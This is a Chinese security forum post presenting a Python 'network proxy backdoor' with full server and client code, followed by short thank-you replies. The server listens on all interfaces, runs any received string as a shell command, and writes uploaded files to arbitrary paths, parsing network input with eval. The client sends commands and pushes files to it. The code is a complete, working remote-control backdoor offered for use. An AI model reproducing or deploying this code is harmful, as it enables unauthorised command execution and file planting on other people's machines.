用户
搜索

[Python黑客] 编写网络代理后门

回帖奖励 10 魔法币 回复本帖可获得 2 魔法币奖励! 每人限 1 次(中奖概率 40%)
  • TA的每日心情

    2019-2-17 16:45
  • 签到天数: 51 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-核心白帽

    Rank: 4

    1

    主题

    113

    帖子

    810

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-2-8
    发表于 2019-2-2 17:32:15 146698
    RT
    由于还在共和国岗位上坚守,不知道说啥,生无可恋,于是就写一个东西把。
    没什么难度,主要是处理上的一些思路,python编写。
    以下是server端代码。
    # coding:utf-8
    import socket
    import subprocess
    # server
    def server_main(ips):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            server.bind(("0.0.0.0", ips))
            server.listen(5)
            print " Listening on %s:%d" %(socket.gethostname(),ips)
            while True:
                data, addr = server.accept()
                buf = data.recv(4096)
                print " recv command = %s" %buf
                if len(buf) != 0:
                    if is_file(buf):
                        rev = upload(buf)
                    else:
                        rev = run_command(buf)
                data.send(rev)
        except:
            print "Exception!"
    def is_file(buf):
        try:
            if isinstance(eval(buf), dict):
                return True
        except:
            return False
    def run_command(command):
        command = command.strip()
        try:
            p = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            out, err = p.communicate()
        except:
            out = "Fail to execute command!"
        return out
    def upload(data):
        try:
            path = eval(data)['path']
            file = eval(data)['request']
            with open(path, 'wb') as f:
                f.write(file)
            return "OK"
        except:
            return "Fail"
    if __name__ == "__main__":
        ip = input("PORT = ")
        server_main(int(ip))
    

    以下是client端
    #coding:utf-8
    import socket
    # client
    # use:
    # >> command   eg:>> whoami
    # >> upload 要上传的源文件 要上传到的目标地址文件  >> upload d:/a.txt e:/a.txt
    def client(ips, data):
        resp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            resp.settimeout(10)
            resp.connect(ips)
            resp.send(data)
            out = resp.recv(4096)
            resp.close()
        except :
            out = "Except Or Time out !"
        return out
    def client_send(target, port):
        while True:
            data = raw_input(">> ")
            if 'upload' not in data:
                out = client((target,port),data)
                print " Command Out= %s" % out
            else:
                upload((target,port),data)
    def upload(ips,data):
        file = data.split(' ')
        list_a = {}
        name = file[1].replace('\\','/')
        list_a['path'] = file[2]
        request = ''
        with open(name,'rb') as f:
            for i in f.readlines():
                request+=i
        list_a['request'] = request
        out = client(ips, str(list_a))
        if "OK" in out:
            print " File Write Success !"
        else:
            print " File Write Fail !"
    if __name__ == "__main__":
        ip = raw_input("IP:PORT = ")
        list_a = ip.split(":")
        client_send(list_a[0], int(list_a[1]))

    具体使用方式代码中有注释,主要是执行命令和文件上传。由于本人不是命令行哲学信奉者,所以是靠提示输入。
    当然我也打包好了exe文件,直接运行即可。

    上传了几次,提示服务器错误,算了 大家有兴趣的话自己打包一下吧  在吐槽一下,发个帖子居然还提示我创宇盾拦截。

    顺便一提,回帖有概率魔法币奖励
    发表于 2019-2-3 16:40:57

    回帖奖励 +2 魔法币

    666666666666666666
    使用道具 举报 回复
    66666666666666666666
    使用道具 举报 回复
    666666666666666666666666666666666
    使用道具 举报 回复
    发表于 2019-2-11 10:18:10

    回帖奖励 +2 魔法币

    感谢分享!
    使用道具 举报 回复
    发表于 2019-2-13 09:17:51

    感谢分享!
    使用道具 举报 回复
    发表于 2019-2-13 14:56:10

    回帖奖励 +2 魔法币

    感谢分享,大吉大利
    使用道具 举报 回复
    发表于 2019-2-21 17:33:05
    感谢分享,大吉大利
    使用道具 举报 回复
    发表于 2019-3-21 10:24:00
    学习学习
    使用道具 举报 回复

    回帖奖励 +2 魔法币

    可以可以,我来学习一下
    使用道具 举报 回复
    发表于 2019-4-2 14:49:53
    谢谢大佬,学习一下,感谢分享!
    使用道具 举报 回复
    感谢分享!!!!
    使用道具 举报 回复
    回复一下以表敬意
    使用道具 举报 回复
    666666666666666666666666666666666
    使用道具 举报 回复

    回帖奖励 +2 魔法币

    概率获得
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册